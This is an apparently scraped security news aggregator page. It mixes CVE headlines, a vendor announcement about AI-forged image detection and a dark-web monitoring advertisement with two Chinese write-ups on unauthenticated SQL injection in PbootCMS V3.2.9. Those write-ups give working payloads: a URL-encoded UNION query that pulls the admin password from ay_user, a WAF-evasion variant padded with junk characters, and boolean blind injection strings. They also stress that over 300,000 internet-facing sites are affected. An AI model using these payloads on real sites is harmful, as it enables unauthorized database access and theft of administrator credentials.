Aggregator
CVE-2024-11921 | GiveWP Plugin up to 3.18.x on WordPress cross site scripting
CVE-2024-11645 | Float Block Plugin up to 1.7 on WordPress Setting cross site scripting
CVE-2024-11644 | WP-SVG Plugin up to 0.9 on WordPress Shortcode Attribute cross site scripting
CVE-2024-11842 | Weight DN Shipping for WooCommerce Plugin up to 1.1 on WordPress Setting cross-site request forgery
CVE-2024-56520 | tecnick tcpdf up to 6.7.x tc-lib-pdf-font Privilege Escalation
AI伪造图像鉴定能力验证计划相关通知发布!国投智能护航人工智能安全发展
AI伪造图像鉴定能力验证计划相关通知发布!国投智能护航人工智能安全发展
近日,中国合格评定国家认可委员会(CNAS)秘书处发布《关于组织开展人工智能伪造图像鉴定能力验证计划的通知》,邀请从事AI伪造图像检验检测鉴定的执法机构、有关检验检测机构和从事AI伪造图像检测鉴定研究的企事业单位参加相关鉴定能力的验证,以促进人工智能(AI)安全治理行业技术发展,加强各相关机构对AI伪造图像检验鉴定的质量管理,建立不同图像鉴定方法/系统的有效性和可比性。、
作为网络空间安全与社会治理领域国家队,国投智能2017年成立AI研发中心,为了应对利用人工智能技术可能带来的安全问题,2019年针对深度合成技术又特别成立专项研究团队,2024年公司还提出了“All in AI”战略,用AI技术全面赋能产品。通过对深度合成和生成式AI技术的深入研究以及在人工智能安全方向的经验积累,公司AI团队自主研发深度伪造视频图像检测鉴定的核心引擎,推出了AI-3300慧眼视频图像鉴真工作站、人工智能大模型内容检测平台、“美亚内容鉴真平台”微信小程序等,全面支持人工智能生成视频图像、音频和文本等多媒体内容的检测溯源。
其中,AI-3300慧眼视频图像鉴真工作站是一款以人工智能技术为核心的视频图像检验鉴定设备,具有智能鉴定和专业鉴定两种鉴定模式,涵盖40余种鉴定算法,近10种深伪鉴定算法,针对ps篡改,深伪合成,AI生成的视频图像进行检测鉴定,支持卷宗管理和报告生成,为鉴定人员提供一站式视频图像检验鉴定服务。并且符合GA/T1021-2013《视频图像原始性检验技术规范》、GA/T 1022-2013《视频图像真实性检验技术规范》、SF/T 0119-2021《声像资料鉴定通用规范》、SF/T 0153—2023《图片真实性鉴定技术规范》、SF/T 0148-2023《合成人脸图像鉴定技术规范》等视频图像真实性、原始性、合成人脸检验鉴定技术规范标准,可有效支持本次人工智能伪造图像鉴定能力验证的要求。
AI-3300慧眼视频图像鉴真工作站
“美亚内容鉴真平台”微信小程序是国投智能全资子公司美亚柏科研发的一款针对AI合成、生成的图像、视频、文本等虚假信息的检测小工具,致力于帮助用户查证信息的准确性。目前支持ChatGPT、ChatGLM、Qwen、Moss等13种国内外主流大模型产品生成文本的检测;支持Stable-Diffusion、Midjourney、DALLE、FLUX等30余种主流算法生成图像的检测;支持Sora、Open-Sora、Runway Gen-2等10余种主流算法生成视频的检测;支持DeepfaceLab、FOMM、Wav2Lib等40余种主流AI合成算法所合成的图像和视频的检测。
国投智能将持续聚焦生成式人工智能和AI生成内容的检测识别技术,踔厉奋发,持续发力,按照相关管理要求,针对深度合成生成文本、视频、图像的检测鉴定技术、生成式人工智能技术、人工智能安全取证技术等方面的应用需求,不断打磨推出更为安全、可信、可靠的人工智能技术产品,为打击利用人工智能的新型涉网犯罪,提供有力的技术武器,为维护和保障人工智能的健康发展和规范应用贡献力量!
PbootCMS前台SQL注入漏洞(下)
PbootCMS前台SQL注入漏洞(下)
在前一篇文章中介绍了一个仍然可以用于最新版PbootCMS的老漏洞DVB-2021-2510,并对漏洞流程进行分析,给出了在有限条件下利用漏洞的方式。
本文将在前一篇文章的基础上继续给出新的PbootCMS SQL注入漏洞,并对利用方式进行更深入的探讨。
0x02漏洞分析由于PbootCMS使用了模板的方法来组合产品页面内容,为了支持可扩展性,支持非常复杂的语法,对基础内容想了解的可以先看文章https://xz.aliyun.com/t/14090。
apps/home/controller/TagController.php文件中,会把外部传入的数据get('tag')替换模板文件中的内容。
图 1
这里的get('tag')和上一篇文章中的request($key, 'vars')有一个很大的区别是没有第二个参数,我们跟进get方法,看一下没有第二个参数的传值有哪些限制。
图 2
如果没有传入第二个参数,默认值为null。跟进filter方法,可以看出在filter对类型和数据的安全检查中,第二个参数为null并不会命中任何一个条件判断,也就是不会对数据值进行任何限制。这里因为$condition['d_type']为null也不会因此而报错。
图 3
虽然数据类型检测,但是filter方法中仍然有对其值的过滤方式,会替换很多标签相关的内容。这里需要重点标记一下,因为后面的SQL注入要用到这里过滤不完整的标签。
图 4
回到图1的代码中,外部传入的get('tag')经过方法parserPositionLabel会替换模板文件中的部分内容,跟进parserPositionLabel方法。
图 5
这里外部传入的数据变成了变量$link,并且经过替换之后响应到页面的标签的href属性中。这里假设我们传入了{pboot:xxx},只要不在图4禁止的pboot标签中,则可能导致标签注入。pboot支持的标签有很多,具体要用哪个标签来达到漏洞利用的效果,还需要继续往下面跟进。
在图1的代码中继续往下,跟进parserAfter方法,这个方法中会解析大多数pboot标签。
图 6
我们这里用到的是parserListLabel方法,这个方法的主要作用是解析数据列表,至于是不是还有其它的方法也可以利用,小伙伴可以自行探索。继续跟进parserListLabel方法。
图 7
如果我们传入的get('tag')的值中包含了{pboot:list}标签,则会按照parserListLabel方法中的解析逻辑对其中的值进行正则提取,并保存到变量$params中。具体parserParam的函数我就不跟了,其实就是简单的正则提取,我们继续往下跟进$params变量的处理逻辑。
图 8
当$params的键名是filter时,也就是外部传入的参数为{pboot:list filter=xxx [list:link link=asd]{/pboot:list}。会把xxxx设置为变量$filter的值,继续跟下面的调用逻辑。
图9
按照|对$filter进行切割之后,其中$filter[0]会直接拼接到$where1数组的值中,从这里已经可以看出来似乎进行了SQL语句的可控拼接。继续往下看一下$where1变量的调用逻辑。
图10
和上一篇文章的逻辑相似,上一篇文章的注入点在getList方法的参数$where3,这次的注入在参数$where1。跟进getList方法。
图11
外部传入的$where1变量会直接进入where方法中,从图9可以看出这里的filter时一个数组,并且其键名为数字。
图12
这也就导致了SQL注入漏洞。
0x03漏洞利用从本质上来说此漏洞的漏洞利用要比上一篇文章的利用简单,因为这里不涉及对特殊字符的限制,而且这里有回显可以进行联合注入。在本地搭建的演示环境中进行测试,利用下面的payload查询ay_user表第一个用户的密码字段
http://localhost:8890/PbootCMS329?tag=xxx:%7bpboot%3alist%20filter%3d1%3d2%29UNION%2f%2a%2a%2fSELECT%2f%2a%2a%2f1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%2f%2a%2a%2f%23%2f%2a%2a%2f%7c123%20scode%3d123%7d%5blist%3alink%20link%3dasd%5d%7b%2fpboot%3alist%7d
查看源代码,会在如下位置回显对应的结果信息
图13
这里面有几个注意点是需要说明的
1)payload不允许用空格,因为在图7解析{pboot:list}标签时调用的parserParam方法按照空格进行截断,如下所示。
图14
2) 注释符问题。对于mysql数据库,这里只能使用#单行注释,而不能使用--单行注释;对于sqlite数据库,这里只能使用--单行注释,而不能使用#单行注释。这主要还是空格的原因,我通过下面一张表来说明这个小技巧。
语句
数据库
备注
select 1 --a
mysql
语法错误,--后面必须有空白字符
select 1 --/**/a
mysql
语法错误,--后面必须有空白字符
select 1 -- a
mysql
语法正确
select 1 #a
mysql
语法正确
select 1 # a
mysql
语法正确
select 1 --a
sqlite
语法正确,--后面可以没有空格
select 1 -- a
sqlite
语法正确
select 1 #a
sqlite
语法错误,不支持#注释
select 1 # a
sqlite
语法错误,不支持#注释
因为PbootCMS的payload不允许使用空格,所以造成了一个很奇怪的结论。
3) 在实网环境下,不同的站点union select的函数是不一样的,要基于实际情况进行调整。
虽然我们现在已经能完全的对目标进行注入(包括mysql和sqlite两种数据库),而且是有回显的联合查询,但是当前的payload特征非常明显,极易被WAF查杀。有没有某种绕过WAF的方式呢?
当然是有的,PbootCMS有复杂的模板替换逻辑,只要找一个字符串替换为空的操作,然后在关键字中一直插入干扰字符,就可以轻易绕过WAF,如果你现在倒回去看一下图4,你就会发现x3e|x3c会是一个不错的选择,例如你可以使用使用下面的payload
http://localhost:8890/PbootCMS329?tag=xxx:%7bpboot%3alist%20filter%3d1%3d2%29UNIx3eON%2fx3e%2a%2a%2fSELx3eECT%2fx3e%2a%2a%2f1,2,3,4,5,(selx3eect/**/pax3essword/**/frx3eom/x3e**/ay_user/**/lix3emit/x3e**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%2f%2a%2a%2f%23%2f%2a%2a%2f%7c123%20scode%3d123%7d%5blist%3alink%20link%3dasd%5d%7b%2fpboot%3alist%7d
0x04 结论当前我们已经能无限制的对PbootCMS进行SQL注入了,有超过30W的互联网案例都受此漏洞影响。我认为这是2024最好用的漏洞,你觉得呢?
当暗网盯上你的数据,如何应对“影子”敌人?
当暗网盯上你的数据,如何应对“影子”敌人?
可能你并未察觉,但你的企业信息、用户数据,甚至财务记录,或许早已被挂在暗网上明码标价。
今年4月,一个名为 CyberNiggers 的黑客组织宣布入侵全球知名银行的安全系统,导致超过225万行数据被盗并公开售卖。
11月,暗网上又爆出骇人新闻——某组织窃取了4.89亿Instagram用户数据,包括姓名、邮箱、位置等私人信息。这些“数字黄金”在暗网中以加密货币等方式进行交易,买家却可能是你完全无法想象的人或组织。
✦ 暗网究竟是什么?
一般来说,我们所处的网络空间可根据其隐蔽程度而被区分为三种类型,分别是明网、深网和暗网。
明网(Surface Web),是指能够被普通搜索引擎检索到的网络,约占整个互联网的 4%左右。我们平时浏览和接触到的大多是明网,对明网进行有效的监管,能够保证明网上发布内容的合法性。
深网(Deep Web),占整个互联网的96%左右。相较于明网其隐蔽程度更高,无法被普通搜索引擎检索。深网里的内容相对不易获取,一般需要访问权限或者账号密码才可访问。
在深网的范畴里,还有一部分被称为暗网(Dark Web)的网络。它的隐蔽性极高,一般不为人所知。需要通过特殊的浏览器或软件才可以连接,普通的浏览器无法进入或检索。暗网最初是为了保护隐私而设计,如今却成了非法交易的滋生地。
✦ 暗网的“黑镜效应”:我们正面临什么?
随着暗网技术和加密货币的快速发展,网络犯罪手法不断升级。企业和个人面临的主要威胁包括:
勒索软件:黑客通过暗网出售敏感信息,迫使受害者支付高额赎金。
身份盗用:个人身份信息在暗网中广泛传播,给金融账户带来高风险。
数据泄露:企业核心数据一旦在暗网公开,不仅会造成巨大经济损失,还可能面临信任危机。
显然,在当下复杂的网络环境中,传统的防护手段已力不从心。
✦ 盛邦安全暗网监测服务
2021年9月1日,《中华人民共和国数据安全法》正式开始实施,明确了数据管理者和运营者的数据保护责任。而暗网中的勒索与数据贩卖情报,无疑对网络与数据安全提出了严峻的挑战。
为此,盛邦安全推出“暗网监测服务”, 根据暗网事件特征,深度融合暗网探测、网络空间测绘及大数据检测分析等核心技术,为用户提供强大的暗网探测与监控能力。通过以下五个步骤,实现对暗网威胁的全方位掌控:
1/暗网IP节点测绘
快速发现暗网活跃节点,掌握核心入口。
2/暗网域名存活验证
精准定位暗网活动地址,实时检测活跃程度。
3/资源爬取与清洗
利用AI算法提取有价值的信息并清洗噪声数据。
4/情报实时同步
将风险信息或情报及时通知客户,便于快速进行响应。
5/大数据分析
深度解析威胁数据,预测潜在风险。
目前,盛邦安全已识别超过 10万个暗网节点,并持续动态监测,日均活跃节点达 1.1万个。数字化时代下,数据安全防护已不再只是技术问题,更是企业数字化战略的重要组成部分。让我们共同携手,对抗暗网中的“影子”威胁,守护网络与数据的安全。
Free internet on sim!
CVE-2024-11605 | wp-publications Plugin up to 1.2 on WordPress Filename cross site scripting
PbootCMS V3.2.9前台SQL注入漏洞(上)
PbootCMS V3.2.9前台SQL注入漏洞(上)
0x01 前言
PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。系统采用简单到想哭的模板标签,只要懂HTML就可快速开发企业网站。官方提供了大量网站模板免费下载和使用,将致力于为广大开发者和企业提供最佳的网站开发建设解决方案。
PbootCMS在国内有非常大的客户使用量,属于国内最流行的企业官网建站程序。截止本文发出前,其github最新版本为V3.2.9。通过互联网资产测绘平台搜索指纹header="PbootCMS",搜索结果有超过34W+互联网案例。
在最新版的PbootCMS V3.2.9中存在前台未授权SQL注入漏洞,攻击者可以通过此漏洞读取系统数据库中的敏感信息,包括后台用户的用户名和密码。
0x02 漏洞分析
之前因为某任务进行批量任务扫描时发现很多目标都在报DVB-2021-2510漏洞,其POC大致如下,返回数据匹配到your SQL syntax或syntax error。
1=select
此漏洞是很早以前已经曝出的安全漏洞,对应CVE编号为CVE-2021-28245,但是最大的问题是我在最新版本的V3.2.9上测试仍然存在此漏洞。也就是官网一直都没有修这个漏洞,如下图所示。
由于ddpoc上面的这个脚本主要做poc探测和验证,并不带直接的漏洞利用,需要跟踪源码分析漏洞逻辑。跟踪到漏洞对应的文件apps/home/controller/SearchController.php。
PbootCMS有一套复杂的模版替换的逻辑,其中模板替换分成多个步骤,在SearchController类中会通过parserSearchLable方法对模板内容进行解析,跟踪parserSearchLable方法。parserSearchLable方法逻辑很复杂,我直接定位到最关键的部分如下。
其中$receive来自于外部输入,遍历$receive变量,会生成新的数组$where3。$where3是后期漏洞利用的关键,但是这里先关注$value = request($key, 'vars'),看一下这里对数据的过滤逻辑。跟进request方法。
跟进filter方法,如下图所示,当传入的d_type(也就是request方法的第二个参数)为vars时,只能包含中文、字母、数字、横线、点、逗号、空格!。而这也为后面的SQL注入的利用埋下了伏笔。
回到刚才提到的$where3变量,$where3变量会传入getList方法。
继续跟进getList方法,传入的$where3传入到变量$select。
跟进变量$select,如下图所示,可以看到其中的$select传入了where方法,这个方法是用于组合SQL语句的查询条件。
继续跟进where方法,如下图所示。当$key也就是传入的数据是一个整数时,会直接拼接$value的值,导致SQL注入漏洞。这里为什么不用$key来注入呢?因为$key前面的图里面有限制,只能输入\w\-\.,不允许空格和特殊字符导致无法直接利用此注入点。
0x03 漏洞利用
漏洞的整个流程已经梳理清楚了,下一步就是漏洞如何利用的问题了。这里由于request($key, 'vars')限制导致不能使用特殊字符。不能使用括号、单引号、注释和逗号会极大的限制整个漏洞的利用方式。
为方便大家直观看到SQL语句效果,我临时把SQL语句打印出来,如下图所示,大致是直接在括号中拼接SQL语句。
只能使用\w和空格的注入,极大的限制了注入点的利用,但是仍然可以通过BOOL盲注的方式来达到注入的效果。
1) 使用下面的payload访问目标,显示有搜索结果
1=select 1 from ay_user where username like 0x6125 limit 1
2)使用下面的payload访问目标,显示无搜索结果
1=select 1 from ay_user where username like 0x6225 limit 1
由此可以证明目标站点ay_user(管理员用户表)第一个用户的username的第一个字母是a(第一个用户默认一般是admin)。
这里很巧妙的使用mysql的like语句支持16进制编码的特性来避免使用其它特殊字符,但是整个利用过程还是有下面的注意点:
1)仅支持PbootCMS安装选择mysql数据库的网站,PbootCMS默认情况下使用的是sqlite数据库,如果是sqlite数据库,暂时不知道如何在不引入特殊字符的情况下进行注入。
2)因为不能使用逗号,所以不能通过limit 1,1这样的方式来注第二个用户,但是可以通过增加条件的方式来进行注入,例如下面的payload
1=select 1 from ay_user where username like 0x25 and username not like 0x61646d696e25 limit 1
0x04 结论
DVB-2021-2510(CVE-2021-28245)是一个很好的漏洞,互联网案例足够多,影响大。这是一个经典的有条件的SQL注入漏洞,值得小伙伴们学习研究。
在下一篇文章中,作者会带来PbootCMS更多有意思的漏洞和利用方式。